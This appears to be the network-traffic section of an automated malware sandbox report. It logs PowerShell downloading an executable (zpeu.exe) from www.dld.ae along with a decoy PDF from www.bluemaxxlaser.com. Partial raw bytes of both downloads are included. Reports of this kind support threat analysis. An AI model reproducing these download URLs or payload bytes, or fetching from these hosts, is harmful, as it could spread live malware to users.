Jun 1, 2023 12:14:18.804445982 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804446936 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804485083 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804533958 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804579973 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804609060 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804609060 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804610014 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804626942 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804682970 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804702044 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804711103 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804759979 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804807901 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804814100 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804815054 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804857016 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804903984 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804905891 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.804904938 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.804955959 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805002928 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805028915 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805028915 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805049896 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805099010 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805145025 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805166006 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805166006 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805166006 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805192947 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805238962 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805301905 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805311918 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805311918 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805311918 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805360079 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805388927 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805409908 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805457115 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805459976 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805504084 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805565119 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805567980 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805567980 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805567980 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805586100 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805634022 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805680037 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805682898 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805682898 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805708885 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805718899 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805768013 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.805768967 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805913925 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.805913925 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:18.976696014 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:18.977299929 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:19.145438910 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:19.145694017 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:19.313534021 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:19.313672066 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:19.481473923 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:19.481725931 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:19.649483919 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:19.649570942 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:19.817424059 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:19.817533970 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:19.985233068 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:19.985356092 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:20.153143883 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:20.153243065 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:20.320995092 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:20.321249008 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:20.489044905 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:20.489234924 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:20.656996965 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:20.657098055 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:20.824940920 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:20.827728987 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:20.995599985 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:20.999650955 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:21.167474031 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:21.167825937 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:21.336374044 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:21.336570024 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:21.504337072 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:21.504497051 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:21.672204018 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:21.672352076 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:21.840178013 CEST	80	49698	203.175.174.69	192.168.2.3
Jun 1, 2023 12:14:21.840418100 CEST	49698	80	192.168.2.3	203.175.174.69
Jun 1, 2023 12:14:22.222845078 CEST	49698	80	192.168.2.3	203.175.174.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:13.757148981 CEST	52387	53	192.168.2.3	8.8.8.8
Jun 1, 2023 12:14:13.813536882 CEST	53	52387	8.8.8.8	192.168.2.3
Jun 1, 2023 12:14:13.820131063 CEST	56924	53	192.168.2.3	8.8.8.8
Jun 1, 2023 12:14:13.964695930 CEST	53	56924	8.8.8.8	192.168.2.3
Jun 1, 2023 12:14:17.069339991 CEST	60625	53	192.168.2.3	8.8.8.8
Jun 1, 2023 12:14:17.097599983 CEST	53	60625	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:13.757148981 CEST	192.168.2.3	8.8.8.8	0x3e78	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:13.820131063 CEST	192.168.2.3	8.8.8.8	0x4427	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:17.069339991 CEST	192.168.2.3	8.8.8.8	0x46ca	Standard query (0)	www.bluemaxxlaser.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:13.813536882 CEST	8.8.8.8	192.168.2.3	0x3e78	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:13.813536882 CEST	8.8.8.8	192.168.2.3	0x3e78	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:13.964695930 CEST	8.8.8.8	192.168.2.3	0x4427	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:13.964695930 CEST	8.8.8.8	192.168.2.3	0x4427	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:17.097599983 CEST	8.8.8.8	192.168.2.3	0x46ca	No error (0)	www.bluemaxxlaser.com		203.175.174.69	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dld.ae

www.bluemaxxlaser.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49697	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49698	203.175.174.69	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Jun 1, 2023 12:14:17.270826101 CEST	441	OUT	GET /rh/List%20of%20required%20items%20and%20services.pdf HTTP/1.1 Host: www.bluemaxxlaser.com Connection: Keep-Alive
Jun 1, 2023 12:14:17.439981937 CEST	442	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:17 GMT Server: Apache Last-Modified: Sun, 28 May 2023 21:58:29 GMT Accept-Ranges: bytes Content-Length: 653248 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 31 32 39 20 30 20 6f 62 6a 0d 3c 3c 2f 4c 69 6e 65 61 72 69 7a 65 64 20 31 2f 4c 20 36 35 33 32 34 38 2f 4f 20 31 33 31 2f 45 20 38 36 34 32 33 2f 4e 20 35 2f 54 20 36 35 32 37 37 30 2f 48 20 5b 20 34 39 37 20 32 37 33 5d 3e 3e 0d 65 6e 64 6f 62 6a 0d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 31 34 33 20 30 20 6f 62 6a 0d 3c 3c 2f 44 65 63 6f 64 65 50 61 72 6d 73 3c 3c 2f 43 6f 6c 75 6d 6e 73 20 35 2f 50 72 65 64 69 63 74 6f 72 20 31 32 3e 3e 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 44 5b 3c 45 33 39 35 37 36 43 34 37 35 41 42 45 43 34 33 41 31 38 37 42 39 44 37 38 30 43 34 37 35 37 44 3e 3c 36 34 31 43 41 32 38 37 30 33 43 34 42 31 34 34 38 38 36 46 33 34 32 30 32 33 42 33 34 35 33 32 3e 5d 2f 49 6e 64 65 78 5b 31 32 39 20 33 38 5d 2f 49 6e 66 6f 20 31 32 38 20 30 20 52 2f 4c 65 6e 67 74 68 20 38 39 2f 50 72 65 76 20 36 35 32 37 37 31 2f 52 6f 6f 74 20 31 33 30 20 30 20 52 2f 53 69 7a 65 20 31 36 37 2f 54 79 70 65 2f 58 52 65 66 2f 57 5b 31 20 33 20 31 5d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 62 64 60 10 60 60 62 60 60 fe 04 22 19 3a 40 24 53 19 58 c4 06 44 1a 1d 05 8b 27 82 c8 6e 03 b0 6c 1b 88 64 ac 00 8b c7 02 49 46 77 66 b0 78 2d 88 d4 bb 02 24 ff 1f 34 66 60 02 9a 2c 08 56 c3 c0 38 00 e4 7f 06 c6 9c 37 40 f2 3f 3f 03 40 80 01 00 c4 3a 0e 4d 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 73 74 61 72 74 78 72 65 66 0d 0a 30 0d 0a 25 25 45 4f 46 0d 0a 20 20 20 20 20 20 20 0d 0a 31 36 35 20 30 20 6f 62 6a 0d 3c 3c 2f 43 20 31 38 30 2f 45 20 31 36 34 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 20 32 30 32 2f 4c 65 6e 67 74 68 20 31 36 37 2f 4f 20 31 32 36 2f 53 20 37 34 2f 56 20 31 34 32 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 60 60 60 61 60 60 aa 64 60 65 60 48 88 67 10 62 40 00 21 06 66 a0 1c 0b 03 87 8b 03 0b 83 75 76 03 03 67 e0 d2 75 8b 0e 28 3b a4 70 30 f0 1c 32 91 68 e4 e8 40 16 05 ea d0 62 e0 bc b6 1a 48 f3 00 31 2f d8 8c 58 06 01 46 49 a6 fb 86 19 0c 2c 5d 97 19 35 19 a5 19 18 dc 96 31 2a e8 96 0b fe 64 d2 06 ab d0 66 e0 bc 69 0c a4 19 81 a8 12 48 eb 30 70 de 5a 03 e1 33 dd 85 bb 45 9f 81 f3 c9 2f 88 28 43 21 10 eb 32 70 de ed 04 d2 4c 0c 0c ec 85 70 55 46 0c 9c 5f be 43 55 bd 01 08 30 00 be 98 22 2e 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 33 30 20 30 20 6f 62 6a 0d 3c 3c 2f 41 63 72 6f 46 6f 72 6d 20 31 34 34 20 30 20 52 2f 4d 65 74 61 64 61 74 61 20 34 38 20 30 20 52 2f 4e 61 6d 65 73 20 31 34 35 20 30 20 52 2f 4f 75 74 6c 69 6e 65 73 20 31 30 33 20 30 20 52 2f 50 61 67 65 73 20 31 32 37 20 30 20 52 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 31 31 37 20 30 20 52 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 3e 3e 0d 65 6e 64 6f 62 6a 0d 31 33 31 20 30 20 6f 62 6a 0d 3c 3c 2f 43 6f 6e 74 65 6e 74 73 20 31 33 32 20 30 20 52 2f 43 72 6f 70 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 2e 36 38 5d 2f 47 72 6f 75 70 3c 3c 2f 43 53 2f 44 65 76 69 63 65 52 47 42 2f 53 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 2f 54 79 70 65 2f 47 72 6f 75 70 3e 3e 2f 4d 65 64 69 61 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 Data Ascii: %PDF-1.7%129 0 obj<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>endobj 143 0 obj<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>streamhbbd```b``":@$SXD'nldIFwfx-$4f`,V87@??@:Mendstreamendobjstartxref0%%EOF 165 0 obj<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>streamhb```a``d`e`Hgb@!fuvgu(;p02h@bH1/XFI,]51*dfiH0pZ3E/(C!2pLpUF_CU0".endstreamendobj130 0 obj<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>endobj131 0 obj<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/Type/Group>>/MediaBox[0 0 595.44 841
Jun 1, 2023 12:14:17.440037012 CEST	443	IN	Data Raw: 2e 36 38 5d 2f 50 61 72 65 6e 74 20 31 32 37 20 30 20 52 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 45 78 74 47 53 74 61 74 65 3c 3c 2f 47 53 30 20 31 34 36 20 30 20 52 3e 3e 2f 46 6f 6e 74 3c 3c 2f 43 32 5f 30 20 31 35 31 20 30 20 52 2f 43 32 5f 31 Data Ascii: .68]/Parent 127 0 R/Resources<</ExtGState<</GS0 146 0 R>>/Font<</C2_0 151 0 R/C2_1 153 0 R/C2_2 158 0 R/TT0 161 0 R/TT1 164 0 R>>/ProcSet[/PDF/Text/ImageC]/XObject<</Im0 141 0 R/Im1 142 0 R>>>>/Rotate 0/StructParents 0/Tabs/S/Type/Page>>endob
Jun 1, 2023 12:14:17.440083981 CEST	445	IN	Data Raw: 4e 5a c8 f5 22 96 52 50 da 90 e3 bb 5d 72 b5 4b ed e2 2e 62 75 a8 57 bc e4 52 97 2f 95 20 b9 12 9a e4 a2 e4 5a 44 2e 5d c4 e6 e4 fe ab af 36 4f 1f 7f b1 f9 76 77 fd 3f 32 96 97 ff 92 bf b7 17 5f 6e 9e fe 20 05 7f bc 79 7d fb e6 ea e6 ad 64 ff fa Data Ascii: NZ"RP]rK.buWR/ ZD.]6Ovw?2_n y}dHzf/\|{^>QnVA)kA\|o^_?_7/y?_wrfw'jvo>~w_n^_8kxO_$
Jun 1, 2023 12:14:17.440118074 CEST	446	IN	Data Raw: 98 e3 7b 45 e8 55 49 51 58 fe 21 85 28 f5 64 55 9a b0 b2 d1 be 7e 23 ea 37 64 15 f9 de 22 b1 af 23 ad fb dc 2a 26 42 fb db 8e fb 8b be ce fd 1c 7d 3c d1 3f f6 43 da c5 7b a8 83 b3 30 cf 9c 2c 1a 13 16 40 16 22 b8 7a 6f 76 b3 28 64 9f 9a 22 37 41 Data Ascii: {EUIQX!(dU~#7d"#*&B}<?C{0,@"zov(d"7Ai{fXeN>]}\|%CZl1qKIj"uP1r\|(4[T\|8qM101Kc`9ZW}`b5ETkD A+>6wKo
Jun 1, 2023 12:14:17.440157890 CEST	447	IN	Data Raw: 7c ea fb a7 ae 63 4d 96 38 12 15 26 db 47 d3 ec 40 86 39 f4 44 82 13 f9 54 aa c4 0a c1 84 d6 8e d2 39 3c 53 0b 8e 89 c0 b2 07 ff 96 52 dd a9 44 75 1c bc 05 ba ce a9 f4 e0 d7 2b 93 77 d4 63 30 df c2 1d 90 28 00 7f 24 61 2e 7a 41 bf 41 19 8c 85 7d Data Ascii: \|cM8&G@9DT9<SRDu+wc0($a.zAA}4I=hJ(z6m}FL~dIu,`hF:Wc$gh8OO>UjGA=03^mh!)f#i%^NCjK6&w%d
Jun 1, 2023 12:14:17.440207958 CEST	449	IN	Data Raw: 46 98 0c 20 2f 3d cf e6 0f 88 3e 8c cb 1e 86 8c d9 4a 8d 08 71 4f f9 03 1d 16 9d 8d 7b eb 48 79 1c 7b 62 99 ba bb ff ec 63 e9 14 50 af 1a 88 cf a9 da 8c a4 71 1b 89 89 d2 8a d7 7d f8 b1 34 c2 18 08 f2 58 e4 cf 2a 76 2b 00 d7 39 e8 f4 39 a8 f4 d9 Data Ascii: F /=>JqO{Hy{bcPq}4Xv+99Q,3on bby( &)9l,"/Gf9Awfx8w3l}@/9`LJvU*42TH3t2uPP'E`tayk~14[{a:Od
Jun 1, 2023 12:14:17.440253019 CEST	450	IN	Data Raw: d9 5a 26 e9 5a ea 5b 9f f2 54 d5 b3 20 79 d4 e9 64 02 42 9f 26 0d 68 2f 64 e1 20 b4 0c 48 27 e6 57 63 00 22 a1 1b 3a 31 b0 90 fa a2 8b e6 4b 9c e6 39 4f 83 f1 d0 0a b4 85 e8 ea ab f6 cf 0b 2b f7 d5 fc d2 35 a1 1f b2 a1 ca 04 86 a0 30 73 a9 db 94 Data Ascii: Z&Z[T ydB&h/d H'Wc":1K9O+50sxjhA\|c~OM',/bnB_ D0qNR8\UE9E^}zAox>;1lc/E##,wMrqRb{57/O#\|?Nx#:"Qsxm
Jun 1, 2023 12:14:17.440323114 CEST	451	IN	Data Raw: 5d e4 44 49 b2 f5 43 4f 45 41 72 34 26 17 0d 58 75 b2 dd c7 56 1d 5b 44 b8 02 4a 7c b0 16 20 19 22 04 11 df b2 be ae ae 5b 93 de c0 7f 80 09 74 0c 7f 0e d0 c4 e5 02 3e 13 ea 28 a1 31 b6 b3 84 16 e4 e8 ad 04 9a 98 23 4a 85 c1 1e f4 2e 59 09 ac 45 Data Ascii: ]DICOEAr4&XuV[DJ\| "[t>(1#J.YEl>$GZ!8.=8d+JK(iR1CHRyS1_05YNwkOr1LgRp(AHB]9TJM"U"~qT
Jun 1, 2023 12:14:17.440370083 CEST	453	IN	Data Raw: 2e b7 ae c8 00 8f c8 4a f9 1b b3 0d 5f 51 55 7b 22 91 da ad cc 51 18 1a 61 63 c7 17 36 0a df 9d 9d 2d 58 29 a8 26 76 cc 2b 9c 47 0c a1 05 ae 06 0a 03 82 c4 00 db 85 db 30 12 b1 27 0d c0 db 07 ab 04 85 d0 1e 84 a4 f7 84 c7 70 6c 05 e0 75 01 6d 82 Data Ascii: .J_QU{"Qac6-X)&v+G0'plum.XURY%\.CgxS2'3" Qd2LrC8_#:bhn5,,d00~c=y<6'??-X2+qat+L@l8=I'iwy<q
Jun 1, 2023 12:14:17.440416098 CEST	454	IN	Data Raw: 2d 58 8b 25 d3 a6 94 33 1e cb cc 41 8f 42 03 92 f1 13 4c a5 09 8c 5c b6 21 5c 04 b0 16 47 f4 04 ef 02 f7 13 35 fe 0a f8 a7 84 6b ee f6 1c 81 72 68 12 a7 0a 2a 13 ad fb 5d d4 e6 48 f8 40 07 9a 0d 30 36 e0 2b 3b 33 11 7f 49 63 38 e1 e5 0d 70 f3 c2 Data Ascii: -X%3ABL\!\G5krh*]H@06+;3Ic8p!V X(hFFP6gC5W#6j@NP$RXYa9BWy>@-6NVtZ180 sjzxS4t<F2a:Z$M5&
Jun 1, 2023 12:14:17.608191013 CEST	455	IN	Data Raw: 37 57 fe 55 1b 38 c8 06 71 4b e0 39 24 1b 0c 40 52 49 1f 15 9a 3a e7 24 23 aa 11 e0 e6 00 13 e3 b3 63 3f d0 ab 1b 0e fb 01 8e b3 32 b6 55 67 17 c6 5e c0 54 16 1a 54 b3 6e 77 ec 01 80 8c 9b a7 cd 94 4e d4 aa 70 ec d1 e6 d8 5b dc 47 a8 07 3d b9 d9 Data Ascii: 7WU8qK9$@RI:$#c?2Ug^TTnwNp[G=~YOyb7fE+5IT$0D_%AJu'>q/nNLa!0q#@w4aSDA"/\|KF8lJL

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49697	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 10:14:14 UTC	0	OUT	GET /zp/zpeu.exe HTTP/1.1 Host: www.dld.ae Connection: Keep-Alive
2023-06-01 10:14:14 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:14 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jun 2023 09:47:42 GMT Accept-Ranges: bytes Content-Length: 344681 Content-Type: application/x-msdownload
2023-06-01 10:14:14 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 27 95 75 59 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 64 00 00 00 2a 02 00 00 08 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPEL'uYd*
2023-06-01 10:14:14 UTC	8	IN	Data Raw: 40 00 7b 16 40 00 cc 16 40 00 35 17 40 00 5c 17 40 00 6f 17 40 00 0c 19 40 00 0f 19 40 00 41 19 40 00 56 19 40 00 68 19 40 00 ff 19 40 00 30 1a 40 00 72 1a 40 00 b0 1a 40 00 4d 1b 40 00 71 1b 40 00 19 1c 40 00 19 1c 40 00 ed 1c 40 00 0e 1d 40 00 33 1d 40 00 57 1d 40 00 b3 1d 40 00 43 1e 40 00 77 1e 40 00 00 1f 40 00 52 1f 40 00 86 1f 40 00 2b 20 40 00 fe 20 40 00 53 22 40 00 d7 22 40 00 06 23 40 00 48 23 40 00 88 23 40 00 de 23 40 00 7e 24 40 00 f2 24 40 00 5c 25 40 00 70 25 40 00 92 25 40 00 44 26 40 00 e7 27 40 00 1b 28 40 00 35 28 40 00 62 28 40 00 a7 28 40 00 a2 29 40 00 2f 2a 40 00 bf 2a 40 00 bf 2a 40 00 9a 2a 40 00 92 25 40 00 44 26 40 00 dc 1a 40 00 e0 1a 40 00 e4 1a 40 00 e9 1a 40 00 f6 1a 40 00 fa 1a 40 00 fe 1a 40 00 02 1b 40 00 0b 1b 40 00 15 Data Ascii: @{@@5@\@o@@@A@V@h@@0@r@@M@q@@@@@3@W@@C@w@@R@@+ @ @S"@"@#@H#@#@#@~$@$@\%@p%@%@D&@'@(@5(@b(@(@)@/@@@@%@D&@@@@@@@@@@
2023-06-01 10:14:14 UTC	15	IN	Data Raw: 0e 6a 07 e8 bc c9 ff ff 85 c0 75 03 40 eb 02 33 c0 50 6a 00 68 65 04 00 00 ff 75 08 ff d6 33 c0 5e 5d c2 10 00 55 8b ec 81 ec 80 00 00 00 8b 45 14 53 56 8b 75 10 57 6a dc 85 c0 5b 74 0b 0f ac c6 14 c1 e8 14 33 ff eb 4e 6a 14 81 fe 00 00 10 00 59 8b c6 73 06 6a 0a 59 6a dd 5b 81 fe 00 04 00 00 73 05 6a de 33 c9 5b 81 fe 33 33 ff ff 73 0d 33 c0 6a 14 40 5f d3 e0 99 f7 ff 03 c6 8b f0 25 ff ff ff 00 6a 0a 33 d2 8d 04 80 03 c0 d3 e8 d3 ee 59 f7 f1 8b fa 8d 45 c0 6a df 50 e8 85 17 00 00 50 8d 45 80 53 50 e8 7a 17 00 00 50 57 56 68 a0 a3 40 00 ff 75 0c be e8 36 42 00 56 e8 64 17 00 00 56 8b f8 e8 50 17 00 00 8d 04 47 50 ff 15 90 82 40 00 83 c4 18 56 ff 75 08 ff 35 d8 91 42 00 e8 5e 0d 00 00 5f 5e 5b c9 c2 10 00 8b 44 24 0c 33 c9 51 50 ff 74 24 10 ff 74 24 10 e8 Data Ascii: ju@3Pjheu3^]UESVuWj[t3NjYsjYj[sj3[33s3j@_%j3YEjPPESPzPWVh@u6BVdVPGP@Vu5B^_^[D$3QPt$t$
